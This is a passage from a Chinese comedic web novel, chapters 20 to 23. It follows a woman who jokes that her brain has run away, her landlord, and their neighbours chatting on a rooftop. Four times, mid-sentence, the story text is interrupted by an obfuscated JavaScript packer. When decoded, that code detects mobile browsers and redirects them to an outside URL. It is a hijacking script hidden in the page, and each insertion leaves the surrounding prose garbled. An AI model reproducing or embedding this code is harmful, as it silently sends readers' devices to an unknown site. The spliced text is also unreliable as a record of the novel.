辛远: “然后你依然坚持这是个不需要用脑的工作?” 岳矢: “是的。 “我感觉就跟拿着计算器做四则运算一样简单。 “把数字填进去,然后自然就得到结果。 “过程完全是无脑的机械操作。” 辛远: “你的字是认真练过的吗? “现在很少有人能把字写得这么好了。 “虽然王阿姨说没多好,但其实对我们这代习惯打字的人而言,手写能做到规整就叫很好。” 岳矢: “也算是练过。 “但并不算很刻意。 “最开始是小学时,老师强调字要写端正。 “多数同学写着写着就变得飘忽,我比较死脑筋,一直以一笔一划端端正正的风格写。 “这导致我写作业、写试卷经常比别的同学慢。 “但反正能写完,我就一直没在意。 “后来等上了中学,作业量大到不允许我慢悠悠写字时,我的笔迹基本已经固定。 “那时候再提速,我的字依然显得端正。 “也就是在中学时代,我养出了既快又端正的写字风格。 “再之后大学时帮人写材料,主要是电子版,偶尔手写会特别看重字好不好看。 “那时期我算是特意练了练,让本就端正的笔迹更加庄重了些。 “也就是现在你看到的这样。” 辛远: “庄重?” 岳矢: “不够庄重吗?” 辛远: “可能我这方面悟性不够,我只能看出端正。” 岳矢: “也差不多吧。 “字迹端正、不连笔、不东倒西歪,就会让看的人认为我写得很认真,态度上很重视这份报告,是以很庄重的心态在进行报告或申请。” 辛远: “所以接到申请的人会相对更容易重视你写的?” 岳矢: “这个我就不是太清楚了。 “我一向是写申请、写报告的角色,那些看申请、看报告的上位者的想法我不是很理解。 “反正,我写的东西不被打回来让重写,我不用加班,还能在上班时间摸鱼,我就很满意了。” 辛远: “我最近打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215198|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听了一下,据说你这种特长,在哪里都容易找到工作,很难失业。 “可能工资很难太高,但也不会太低,而且基本都是一年四季坐办公室、有空调用、不必日晒雨淋的工作环境。 “综合算下来,舒适度很不错。” 岳矢: “真好。” 辛远: “但还是很难想象你是以无脑的状态在处理这份工作。 “不知道那些为了写报告挠秃头的人知道这事会怎么想。” 岳矢: “大概相当于数学苦手听到数学学神说‘一看就会’时的想法吧。 “虽然我真的觉得固定格式搭配套话非常简单,比写抒情文、写散文、编故事容易太多了。 “每次看到有同事迟到时编理由,我都很惊叹他们的妙语连珠。 “我就编不出那么精彩的、能把老板逗笑的句子。 “我只会干巴巴地说这次迟到的原因、避免再发生的办法、从中可吸取的教训等。 “好在可用的相关套话很多,我可以连续说一长串,显得我反省得很到位,容易让老板满意地放过我。 “也算是与妙语连珠的同事们殊途同归了。” 辛远: “好在你日常说话时没有夹杂套话。” 岳矢: “不写报告时谁会夹杂那个呀,二三十个字的干货信息扩展成几千字。 “真用那种文风进行日常交流,效率会非常低的。 “还可能被人怀疑精神状态。 “比我自称没脑子更惹人怀疑。” 辛远: “‘真没脑子’不被怀疑。 “说话文绉绉点却被怀疑。” 岳矢: “一个奇异的世界。” 辛远: “……这个评价从你这么个奇异的人口中说出来,显得格外奇异。” 岳矢: “你猜这个世界上,真的只有我一个人出现了被你说成‘奇异’的这个症状吗? “会不会还有其他人身上也发生了类似的事情,比如心肝脾肺肾纷纷离家出走。 “但那些人也和我一样,没有大范围公开,最多只让寥寥几个有缘人知晓了?” 辛远: “……顺着这个思路一想,世界就有点可怕了啊。 “表面上看,每一个人都完全正常,甚至在常规体检中也看不出异样。 “但实际上,他们体内某处却已经空了。” 岳矢: “没关系,只要不去思考那种可能性,那么看不出来便等于没有发生。 “于是我们生活的这个世界就依然是平平无奇的正常世界。 “完美。” 辛远: “这算什么完美啊? “有些事情发生了就会产生影响,不是不去思考就能逃避的。 “如果真有很多空壳人,那么导致发生器官出走事件的原因是什么? “主动脱离人体的器官都自带隐身效果吗? “我们每天都被很多隐身的器官观察着吗? “有一天,空壳的身体会成为器官的傀儡吗?” 岳矢: “这些没有事实依据、只凭想象的猜,可以称为‘思考’吗? “这些猜想值得耗费脑力吗?” 辛远: “这么想下去除了吓到自己外,好像是没有实际作用。 “可能是不值得思考。” 岳矢: “所以来跟我一样,愉快地空置大脑吧。 “不思考的生活真的非常轻松。” 20.20 ☆、学术地探讨一下 夜深人静时,辛远独自躺在自家床上,一边对世界现状焦虑着,一边琢磨岳矢的不思考建议。 感觉如果真能做到“不想”,也许确实能压力大减。 问题只在于: “脑子经常会自己转动,不是我希望不想,就真能做到不想的。 “我还一直想忘记以前的很多尴尬事呢,但它们依然会经常浮起来,让我重新尬得脚趾抠地。 “等等,这么一想,我的大脑好像很有自己的主意? “这可能就是大脑能自主离家出走的基础? “靠了,怎么越想越觉得岳矢失去大脑这事合情合理?” 无论辛远主观上想不想接受,实际是,随着与岳矢相处时间的越加增多,辛远逐渐觉得“没有脑子”是一件平常事。 与没有车子、没有房子差不多平常。 连带的,再想象岳矢揭开头盖骨那一幕,辛远也不觉得太可怕了。 和别人给他展示空钱包的感觉有点相似。 岳矢: “你确定吗?” 辛远: “想象与现实…… “要不我们试试?” 岳矢欣然接受邀请。 她来到辛远家中,趁着没有上下楼脚步声之时,快速揭开自己的头盖骨。 辛远一颗心提起,又放下。 最后发出感动的喟叹: “真的不怕了。 “这个劫我算是彻底渡过了。” 岳矢让自己的头盖骨还原,对辛远说: “恭喜大师进一步悟道。” 辛远继续感动: “真的有一种经历过沧桑终于回归平淡的顿悟感。 “好像我的退休养老心态又进一步稳定了。” 岳矢: “我也想早早退休。 “每天跑去公司即使只是按流程无脑应付同事及老板们,也还是有点累。 “要是能天天窝在家里发呆就好了。” 辛远: “看来你的外置大脑思考量还是大了些,所以你依然会有烦恼。” 岳矢: “你说的对。 “人在适应了现状后,总会产生更多渴求。 “刚失去大脑时,那种空荡荡的感觉让我的整个身体都陷入了宁静。 “但现在适应了,便发现,好像空得也不是那么彻底。 “可要说更空、更不思考,那好像就会影响我的拟人效果了。” 辛远: “……什么叫‘拟人’效果?” 岳矢: “就是能混入正常人群中而不被正常人类发现我异常的效果。” 辛远: “所以你承认你本质上不是人了?” 岳矢: “是人,只是不那么正常。 “进化出了体脑分离技能。 “相当于有超能力的人。” 辛远: “就是妖怪。” 岳矢: “人形的妖怪。 “四舍五入依然是人。” 邻居们也逐渐发现,辛远对岳矢好像完全不再恐惧了。 他看岳矢的眼神已经与看其他人的高度相似。 其他人对着辛远做出要揭头盖骨的动作,更是会得到辛远关爱智障儿童的包容微笑。 其他人有点失落地对辛远说: “你这心理阴影消退得也太快了。” “说好的一有心理阴影就会影响终生呢?” 辛远: “小孩子的心理阴影才容易影响终生。 “我一个三观稳定的成年人,偶尔被出乎意料的状况吓得惊慌无措,也能靠着累积已久的常识消化它。 “就像看极其可怕的恐怖片。 “刚看完的一段时间确实会觉得现实中也充满了恐怖元素,看到很多东西都会联想到恐怖片场景。 “但几个月后也就恢复正常了。 “成年人的记忆力本就在不断衰退。 “我这年龄,刻意想记住些什么事情都容易忘记。 “对于不想记的,自然忘得更快。” 其他人: “不对呀,有些成年人失恋后会性情大变,一辈子都脱离不了那段失败恋情的影响。” 辛远: “除了小说影视作品外,你们真的在现实中看过那样的‘失败恋情影响’吗? “反正就我亲眼所见,很多恋情都非常现实。 “谈得浅时说一说喜欢,谈得深了都是在说钱。 “如果谈崩时情绪极度失控,那基本都是因为在金钱问题上出现了不可调和的矛盾。 “如果说这事能影响终生,那必定是因为钱的数额太大。 “一想到自己本可以得到却失去了那么大一笔钱,或者想到自己把一大笔钱花在了不值得的人身上还要不回来,就终生感觉自己亏。” 其他人: “俗。” “但现实真是如此。” “我还真没在现实里见过故事中的绝美爱情。” “一切问题最终都转为了经济问题,这么一想怪没意思的。” “也不尽然都是经济问题,还可能涉及犯罪问题。” “比如谋杀。” 说到谋杀,辛远突然有点好奇:如果岳矢被砍了头,她还能继续活着吗? 正常人之所以被砍头一定会死,主要是因为大脑。 现在岳矢的脑子已经流浪去了远方,那么她的空壳脑袋与手脚有很大区别吗? 已知,正常人被砍手砍脚,只要处理得当就不会死,那么…… 岳矢: “我估计被砍头我还是会死的。 “因为我身体现在远程接收大脑发来的信息还是靠脑袋。 “那个空颅腔应该担任了接收器的角色。 “再说,我离家出走的只是大脑。 “我的小脑、脑干等,依然好好待在我的脑袋里。 “被砍头的话,还是会切断它们与我身体其他部分的联系。” 说着,岳矢看向辛远: “你不会好奇到希望我砍头试一试吧?” 辛远: “我的好奇心倒也没有那么强烈。 “尤其,砍头后无论你是死还是不死,都非常可怕。 “我好不容易才从你空颅腔的阴影中走出来,可不想再给自己新增一个阴影。” 岳矢摸了摸自己的脖子,继续说: “我也不想尝试被砍头,因为我的痛觉没离家出走。 “砍头后如果我死了,那固然很糟糕。 “可如果没死,那得多痛啊? “完全不想经历。” 辛远想想那血流满地、身体痛苦扭动的场面,微微打了个寒颤。 辛远: “所以,如果砍头后你死了,那就是正常人类状况,要进入法制流程。 “我完全不想面对警方的审讯。 “而如果砍头后你没死,场面过于血腥,我完全不好奇那个。 “总结,希望你的脑袋一辈子都好好待在你的身体上。 “千万别跟你的头盖骨似的,被随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229248|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随便便扯下来玩。” 岳矢: “嗯……不过,如果有一天我的整个脑袋和我的大脑一样,想要去往远方看看,我也不会阻止它。 “当然,实际上,即使我想阻止,可能也根本阻止不了。 “也许我的脑袋会和我的大脑一样,在我睡着时悄然离开。 “于是等我发现时,一切都已无法挽回。” 辛远进而联想到岳矢的其他器官以及四肢什么的,纷纷与她的主干脱离、满世界蹦跶的场面…… 辛远扶额,很难形容自己感觉那是恐怖还是荒诞。 只能祈祷世界千万不要不正常到那一步。 岳矢好奇: “向谁祈祷?” 辛远: “……好问题。 “如果祈祷有效,就说明这世界存在高于人类的神之力量。 “也就是,这世界早已不正常。 “而如果这世界像我希望的这般正常,自然就不存在神明来保佑我,那么我的祈祷便不可能有效。” 岳矢给辛远出主意: “要不你向医院祈祷? “希望他们能尽快解决我大脑离家出走的小毛病?” 辛远: “……等医院先能检查出你的小毛病再说吧。” 岳矢去医院做了个不在常规体检范围内的颅脑CT。 辛远简直不知道这家伙还有没有一丁点儿保守她小秘密的想法。 反正辛远肯定,自己一定比岳矢更担心暴露她的异常。 主要是怕有些承受力较弱的人被吓出个好歹。 辛远在与小区中老年住户们日常闲聊时问: “如果检查证明岳矢物理意义上没大脑、她颅腔内是空的,你们会害怕吗? “你们觉得会不会有什么研究机构为此来把岳矢抓了、关了、解剖了?” 中老年们: “这梗不是已经过去了吗?” “你不是宣布你的心理阴影已经彻底消失了吗?” 辛远: “就是因为已经消失了,所以我想学术地探讨一下这个问题。” 中老年们: “这个不叫‘问题’。” “叫‘幻想’。” 辛远: “好吧,就算是幻想吧。 “反正闲着也是闲着,聊什么不是聊呢? “于是,你们觉得,在幻想场景里,人们会怎么对待那么个空颅腔的人?” 莫名其妙的,又有年轻人加入进他们的中老年聊天会中。 年轻人们说: “如果是幻想,那这就是老梗。” “会发生什么,主要取决于社会环境。” “如果是在神神叨叨、弱肉强食的环境中,这么一个异常生物多半不会有好下场。 “被解剖、被烧死都有可能。” “但在我们这个和谐社会中,应该不会那么野蛮。” “我觉得在我们社会里,如果出现空颅腔患者,关还是会关的,研究也是会研究的。” “毕竟‘颅腔空了’这个事既容易引发部分人的猎奇心理,又容易让另一部分人担心会不会传染。 “所以需要一个研究结果让大众安心、冷静。 “而在研究结果出来以前,将异常生物与大众隔离开,对双方都更安全。 “但我认为研究手段应该会比较温和、有人性。” “其实很多罕见病患者都有被研究,但现在都是尽量以不伤害患者的方式。” “稍微不那么有把握的研究尝试都会先征得患者的同意。” 21.21 ☆、偶尔 年轻人们: “当然,因为相关治疗技术还很不成熟,所以治疗、研究过程中使用的药物、手术,难免会造成一些伤害。 “但伤害并非研究的本意,只是无法避免,或者强行避免结果反而会更糟罢了。” “‘空颅腔症’如果真的存在,就可以看作一种罕见病,所以对其的研究尺度应该不会超过其他罕见病。” “对啊,只是颅腔空了,又不是去吃别人的脑子。 “这种对他人无害的病,研究时当然会采取尽可能不造成伤害的方式。” “如果治疗过程中患者本身没有出现生命垂危的情况,治疗中就会以温和缓慢的手段为主,不会急躁地用猛药。” “如果全球仅此一例病患,那更是会当宝贝呵护着。 “别说给她的生命安全造成威胁,连她情绪不好都会有人想方设法哄她开心。” “毕竟无数例子证明,心情不好可能影响病情,进而就会影响研究进度。” “如果说岳矢是获得长生不老,或者百毒不侵等能力,那还可能引发贪婪,诱使部分人做出过激行为。 “但‘没了脑子’,这只会让人疑惑,不会产生觊觎的念头。” 辛远: “有道理。 “所以岳矢应该也是因为想到了这些,才会这么有持无恐。 “天天大咧咧地宣布她无脑。 “反正最糟的情况她也只需要配合一些无害的研究而已。” 其他人: “怎么你还越说越当真了?” “所以心理阴影既然产生了,就不是那么容易彻底消除的。” “顶多只能淡化。” “是啊,自从我中学时看过一个与漩涡相关的恐怖片后,我对漩涡就一直有点点害怕。 “当然肯定早就不至于一看到漩涡就退避三舍,可直至现在我每次看到过于清晰的漩涡还是会多在意几秒钟。” 岳矢: “来,看看现实,这是我刚从医院拿回来的颅脑CT。 “其他的我们这些外行人也看不懂,不过‘我的颅腔里装了脑子’这一点还是能看出来的吧?” 其他人: “自然自然。” “看得很清楚。” 辛远: “……” 岳矢满脸认真地看着辛远: “喏,是写了我名字的。 “我没有拿其他人的片子糊弄你。” 辛远缓缓开口: “看来这年头,医学仪器拍出的片子和大众用手机拍的一样,容易作假。” 其他人: “怎么说话呢?” “把幻想当真实,反而怀疑科学是吧?” 辛远破罐子破摔: “什么幻想? “我那可是亲眼所见。” 其他人: “对对对,吃了毒蘑菇外加喝了酒之后的亲眼所见。” 岳矢扯扯自己的头发,对众人露出无辜的微笑。 其他人表示完全理解: “唉,辛远这种没接受过社会毒打的人就是这样,中二期特别长。” “往好了说叫持续天真无邪、充满童趣。” 辛远: “行了,都散了吧。 “这里是‘无所事事中老年的聊天地盘’,你们这些年轻人老凑过来插话做什么?” 一句话,惹了两个群体的不满。 年轻人们: “这里明明是小区的公共地盘,在这里进行的活动自然是小区内的住户都可以参与。” 中老年们: “虽然我们是上了年纪,但也不到无所事事的程度。” “我们每个人家里都是有一堆事情要做的。” “只是我们经验丰富,合理安排好了时间,才显得我们比较悠闲。” 年轻人们的注意力突然有点被转移。 他们看向中老年们,问: “你们中是不是有些人还没退休?” 中老年们: “退休与否呢,有时候描述的不是年龄,而是生活状态。” “比如小辛,他自然距离法定退休年龄还早,但谁能说他不是已经进入了退休生活的节奏呢?” 辛远: “是的,所以我混在这个群体里毫无违和。” 中老年们: “再比如老王,你们一般称呼她为王阿姨,她的年龄是已经越过退休线多年,但她依然处于工作状态。” “只不过老王的工作内容包含了与小区居民唠嗑这一项,所以她待在我们这个群体里不是无所事事,而恰恰体现了她认真做事的精神。” 王阿姨: “哎哟,这夸得……” 辛远: “我看您被夸得挺好意思的。” 王阿姨: “小兔崽子,你的长辈们说话,有你插嘴的份儿吗?” 年轻人们支持辛远: “我们辛房东可是决定着一整栋楼住户的去留呢。” “整整二十八户。” “我们小区总共可没有二百八十户居民。 “所以我们辛房东在本小区的话语权怎么也能占到十分之一以上。” 辛远: “哎,这个高帽可就不用给我戴了啊。 “我的房子租给谁历来也不是全由我一个人决定。 “我也会听取其他楼住户的意见。 “如果我的某个租户把其他住户得罪得不轻,哪怕我本身对那租户没意见,我也是会停止与其续约的。” 中老年们: “对,我记得以前有一个小伙子,跟小辛挺有共同语言的,但不知怎么的,他就是跟有一户养的狗犯冲。” “那狗面对其他人时都很乖很安静,就只有见到那小伙子时,叫得像是发疯。” “那狗主人住的房子是自己买的,那小伙子是租房,最终只好那小伙子搬走了。” “那狗主人因此还挺不好意思的,帮那小伙子付了搬家费。” 年轻人们: “所以那狗为什么只对那小伙子叫?” “狗主人故意引导的?” “还是那小伙子身上有刺激狗的特殊气味?” 辛远: “不清楚。 “本来我也想仔细查出原因、对症处理,但那位租户自己觉得麻烦,主动提出不再续约。 “我想着也许他自己知道原因但不愿意明说,出于尊重隐私,我也就没有追问。” 年轻人们: “感觉有点可疑呢。” “像是在家中制作危险物品被嗅觉灵敏的狗察觉了,他为了不暴露才连忙搬走。” 辛远: “他退租后我检查过他那房子,没有任何疑点。” 年轻人们: “要真有问题,那肯定得收拾干净后才敢走嘛。” 中老年们: “嘿,你们这些小孩,阴谋论起来怎么比我们这些老东西还八卦?” “那小伙子只招那一只狗不待见,其他狗啊猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229249|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊遇到他都没有特殊反应。” “什么气味能只刺激一只狗、对其他猫狗都无效啊?” “应该就是单纯的八字不合。” 年轻人们: “解释不清就归于八字,这也太懒了。” “缺乏求知精神。” 岳矢晃着手中的颅脑CT,说: “但在与自己无关的事情上,大而化之一点才比较轻松。 “减少不必要的思考,是保持愉快心情的窍门。 “而心情愉快是长寿的秘诀。” 辛远: “恭喜你距离进入退休生活节奏就只差辞职了。” 岳矢: “哎,我要是存款足够,还真的想辞职。” 年轻人们: “谁不是呢。” “不,我不是,我还是有点事业心的。” “有事业心你这个点在这儿聊天?” “你参考一下齐促辉那个加班量,那才是真在拼事业的。” “简直是拿命在拼。” 中老年们问辛远: “齐促辉也是和班玖一样,还完全没有买房的想法吗?” 辛远: “‘暂不打算买房’这一点他俩确实一样,不过不买的理由不一样。 “齐促辉现在不买是因为他明确不会在本市长住。 “齐促辉是打算高强度工作到身体撑不住了就回老家养着,所以不可能在这里置办房产。 “而且齐促辉那个加班频率,有时候简直觉得他连租房都没必要。 “直接睡公司算了。顺便加班费也许还能再涨一截。” 齐促辉正巧路过,为自己发言: “喂,你盼我点好吧。 “我偶尔也是会正常下班的。 “甚至偶尔的偶尔还能休假。” 辛远敷衍点头: “对对对,更偶尔的情况你还能打游戏呢。 “你的偶尔与岳矢说她加班的偶尔含义简直完美一致。 “非常体现‘偶尔’的本意,没有丝毫夸大。” 齐促辉确实极偶尔的也会打游戏。 甚至他规划自己辞职后的生活时,将游戏列在了第一项。 不是说游戏在齐促辉的未来生活中很重要,而是他计划等辞职后,第一件事情就是尽情地、放纵地将他感兴趣的游戏全部玩一遍。 可能会花上几个月时间吧,反正要玩到尽兴、玩到不想玩了才停。 辛远: “有一个问题啊,按照你的规划,你应该是在身体发出警报信号后才辞职。 “于是,以你那时的身体条件,真的能撑住你长时间玩游戏吗? “全情投入玩游戏对身体的消耗可不比加班少。” 齐促辉: “不,两种消耗是不一样的。 “为了赚钱而工作的加班非常累心。 “为了游戏而日夜颠倒却心情舒畅。 “所以两种‘长时间做同一件事’虽然同样会导致身体疲劳,但精神状态完全不一样。 “当然,为了游戏连续熬个几天几夜身体肯定还是撑不住。 “但在游戏完成一个剧情点,或者更换不同游戏玩的间隙,感到困了、饿了,就去睡、去吃,不在明明已经困到头痛时依然硬撑,对身体应该不会有太大损伤。 “到时候再看吧。 “或者我可以花钱雇人定时提醒我吃睡。 “只要想到吃完饭、睡醒后依然可以继续游戏,我就应该不会舍不得按下暂停或退出。” 22.22 ☆、天台上 齐促辉: “现在我偶尔玩一玩小游戏总是停不下来,很大程度就是因为我知道一旦停,下次再玩就不知道得等到什么时候了。 “所以总是想着‘再玩一分钟’‘每多一分钟都是额外赚的’。 “将来,等到了可以肆意玩的时候,应该就不会有那种一秒钟都舍不得浪费的紧迫感。 “可以肆意浪费时间的日子啊…… “就是为了能过那样的生活,我现在的拼命攒钱才有意义。” 现在,因为休息时间极为有限,所以齐促辉偶尔玩也不会玩大型游戏。 他主要就是玩一玩消消乐、连连看之类关卡与关卡之间相互独立、每一关耗时都比较短、不需要与队友配合的小游戏。 植物大战僵尸也在齐促辉现在玩的游戏项目之中。 某天,辛远去天台上闲逛顺便确认防护栏等安全设施的状态时,听到角落传来熟悉的游戏音效。 他循声望去,看到被几个大人小孩围住的、一脸认真通关表情的齐促辉,心中霎时有很多槽想吐。 主要是,围观者中还包括了岳矢。 而虽然认知不同,但现场不少人意识到了与辛远相似的槽点。 一个小学生问岳矢: “岳姐姐,都说你没脑子,连你自己都承认这一点,所以你的脑子是被僵尸吃掉的吗?” 岳矢满脸都写着正经地回答: “不,我的脑子是自己离家出走的。 “可能是它闻到了僵尸的气味,并判断我没有能力率领植物战胜僵尸,所以我的脑子抛下我提前跑路了吧。 “这样一来,即使僵尸闯入我家,揭开我的头盖骨,也只能看到一个空颅腔。 “然后僵尸应该会把我的头盖骨盖回去,这样我没脑子的身体就安全了。 “我出门在外的脑子碰不到僵尸,则更加安全。 “两边都安全,于是我整个人都安全。” 小学生: “听上去虽然有点怪,但好像也有点道理。” 岳矢: “这是在危险环境中生存的智慧。” 又过了一关的齐促辉插嘴: “在头盖骨被揭开的那一刻,就已经不安全了吧? “那种情况人真的不会死吗?” 岳矢非常学术地与齐促辉探讨: “只开头盖骨应该不会死吧? “医院里治疗一些脑部疾病时也会开颅呀。” 齐促辉: “但那需要使用很多辅助手段,才能保证病患的生命安全。 “僵尸开颅,什么辅助药品、仪器都没有,直接挖开头盖骨,先不说后续的失血过多、感染等问题,光是痛就能让人痛死吧?” 岳矢摸摸自己的头盖骨,说: “我自己主动揭开就不会痛了。” 辛远:你要不要听听你在说什么? 小学生: “为什么你主动揭开就不会痛了?” 岳矢: “因为我的脑子离家出走时在头盖骨上开了个门。 “规规矩矩地只开这个门,我就不会痛。 “但如果暴力拆门,或者破坏头骨的其他地方,我就会痛。” 孩子们恍然大悟: “原来如此。” 然后提出要求: “我们能看看那个门吗?” 岳矢继续一本正经: “不行的。 “你们还处在建立世界观的年龄,如果我让你们看了我的空颅腔,你们就会陷入‘怀疑科学’‘怀疑生物’‘怀疑世界’的泥潭。 “要等你们的世界观像你们的辛远叔叔那么稳固后,我才能给你们看。” 辛远:谢谢。但本叔叔并不想被你拿去当作参照物使用。 齐促辉: “我是三观稳定的大人了。 “所以我可以看吗?” 为了舒适地打游戏,此时齐促辉是坐在椅子上,用来打游戏的电脑则摆在面前的小桌上。 椅子、小桌,当然还包括电脑,全都是齐促辉自带的。 这天台上除了养花种草那一块搭了个可伸缩的棚子,以及几个角落有供猫躲雨的小房子外,其他区域为了方便活动、晒太阳,都是露天的。 所以并没有长期放置太多桌椅,只有几个倒扣的塑料桶可以临时坐一坐。 一般都是谁想到天台上放松一下才自己带装备上去。 而今天岳矢上天台时没有带,于是她是站着看齐促辉打游戏的。 所以,当齐促辉提出问题,而岳矢看向他时,很自然地便形成了俯视视角。 自带睥睨效果。 岳矢就在这样的效果中回答: “一个未婚男性,向一个未婚女性询问,‘能不能拨开你的头发,让我仔细检查、触摸你的头皮’。 “请问,这个未婚男性在排除是医生的前提下,是什么属性?” 小孩们积极抢答: “变态。” “筛选猎物的连环杀人狂。” “恋头皮癖。” 齐促辉看向周围的其他大人: “这些都是你们谁家的孩子? “听听他们都说了什么。 “还不赶紧确认一下他们接收信息的范围。 “该禁的马上禁,青少年模式开一开。” 家长们叹气: “以现在的信息流通便利程度,我们哪里管得住哟。” “就拿你这个游戏来说,本身只是个单机游戏,但网络上有它专属的论坛。 “而进入那论坛一看,除了游戏内容外,还有很多不像样的。” “我们是能禁止小孩上网呢,还是能连假期时间都完全不允许他们碰游戏呢,还是能阻止他们玩了游戏后在网上找同好、逛论坛?” 齐促辉: “所以把孩子养成什么样就…… “随缘了?” 小孩子们不满: “我们对信息也不是完全没有判断力的。” “我们知道应该远离变态。” “也知道遇到连环杀人狂需要报警。” 齐促辉: “前提是你们能及时分辨出谁是变态、谁是杀人狂。 “你们以为这会像短视频中演的那样,坏人都直白地表现出自己很坏吗?” 小孩子们觉得这大人说教的嘴脸真讨厌,于是跑开去找猫玩了。 这天台上经常有猫出没,有些是跟着人从楼梯上来的,有些则比较神出鬼没。 好几次辛远下午给天台上锁前都确定天台上没猫,但第二天早上开天台锁后,却看到猫大爷四仰八叉挂在猫爬架上,袒胸露蛋。 哦,不对,这位睡姿最不拘一格的猫爷已经没蛋了。 有时还会有猫妈妈拖家带口地来,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241061|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路都走不稳的小猫崽在天台上蠕动。 大家只能理解为,七楼太矮,猫有能力直接从外墙爬上来。 难度不大,因为有雨棚、花架、空调架等,猫在攀爬的过程中能找到充足的落脚点。 叼着猫崽爬也轻轻松松。 好在常来天台玩耍的人没有讨厌猫的,还愿意集资给猫制作一个又一个猫爬架,并提供猫粮、猫玩具、洗澡费、绝育手术费等。 于是猫与人相处得还算愉快。 家长们看着很快开始被猫遛着玩的小孩们,无可奈何,又习以为常。 辛远则觉得,岳矢看向与猫玩的小孩的眼神有点羡慕。 虽然岳矢自己不觉得自己羡慕了,不过之前岳矢在第一次到天台上与常驻猫遥遥相望后,对辛远说过: “我感觉,自从我没了脑子,猫们看我的眼神好像就与以前不一样了。 “猫好像能看出来我现在的颅腔是空的。 “它们好像因此觉得我有点怪、与它们熟知的正常人类不一样。 “于是它们会与我适当保持距离。 “猫们并不怕我,也不介意与我身处同一个空间内,但就是…… “不再允许我摸它们了。” 辛远当时听着听着觉得不太妙,问: “不怕但不让摸,难道是因为担心被传染? “难道你的空颅腔是一种能通过接触而进行传染的病? “至少猫认为有可能这样传染?” 岳矢: “没脑子的我并不知道答案。 “也不想远程消耗脑细胞进行没有根据的猜想。” 那之后几天,辛远每天都要自我感知一遍他的脑子在他的颅腔内是否稳当、出否有出逃征兆。 因为一直稳当,于是辛远便逐渐放下了那份无凭无据的小小担心。 此刻,在辛远因为岳矢看猫与小孩的眼神而又一次产生玄幻方向的提心吊胆时,齐促辉则在现实又平常地对家长们说: “出生在信息大爆炸的时代,在无数纷杂的信息中建立自己的三观,最终究竟会成长成什么样呢?” 家长们: “反正肯定跟我们不一样。” 岳矢收回看猫的视线,看向家长们,说: “只要都是人类,就不会有本质差别。 “在信息匮乏的时代固然可以成长得纯净很多,但在信息冗杂的时代,各种信息对冲,任何一类信息,无论好坏,都不能占据小孩们绝对的注意力。 “那么最终,小孩们肯定能适应着找到于他们而言的信息平衡点,稳定住他们的认知。 “而在建立平衡点的过程中,三次元,尤其家庭与学校,比不能实际触摸到的网络信息更有份量很多。 “如果孩子变坏了,那么主要责任一定在现实环境。网络只是辅因。” 辛远再一次抛开自己毫无证据的担忧,加入话题: “某些人啊,一边宣称自己没脑子,一边还指点家长们教育问题。” 岳矢: “因为这本就是不用脑子也可以想到的常识。” 家长们也散开了。 倒也不是对岳矢的那番话有多大意见,就是,大家上天台来是放松的,不想聊过于沉重的话题。 对于他们这些上有老下有小的中年人,“教育”无疑是最沉重的话题之一。 能与之媲美的可能只有“疾病”与“缺钱”。 23.23 ☆、就是没吃过穷的苦 辛远这栋楼的天台自然也是属于辛远。 本来只有辛远的租户们将这里当作休闲地点之一。 但也许是因为辛远将他的天台打理得成为了本小区各栋楼天台中的最佳,于是别的楼的住户也经常会来。 辛远的租户们不解: “你们不能去打理你们自己的天台吗?” “使用自己楼的天台明显会方便很多。” 其他楼的住户: “这里面存在一点问题。” “你们这个天台属于辛远,这是明明白白、没有任何争议的。 “所以除了搞违章建筑之外,辛远想怎么布置这天台都是他的自由。 “辛远自己也乐意在他的天台上花钱。” “但其他楼的天台却都不属于哪个住户,它们和小区的院子一样,是公共财产。” “也就是,没有谁能一言堂做决定。” “比如有些人可能想在天台上种菜,但有些人因为担心会招来蚊虫所以坚决反对。” “没有谁能立下规矩要求全楼的住户都遵守。” “还有护栏、防水处理等,让住户们集资出钱吧,几乎所有人都不肯。 “指望社区走公账建设吧,社区倒也没明确说不行,但反正就是排队。 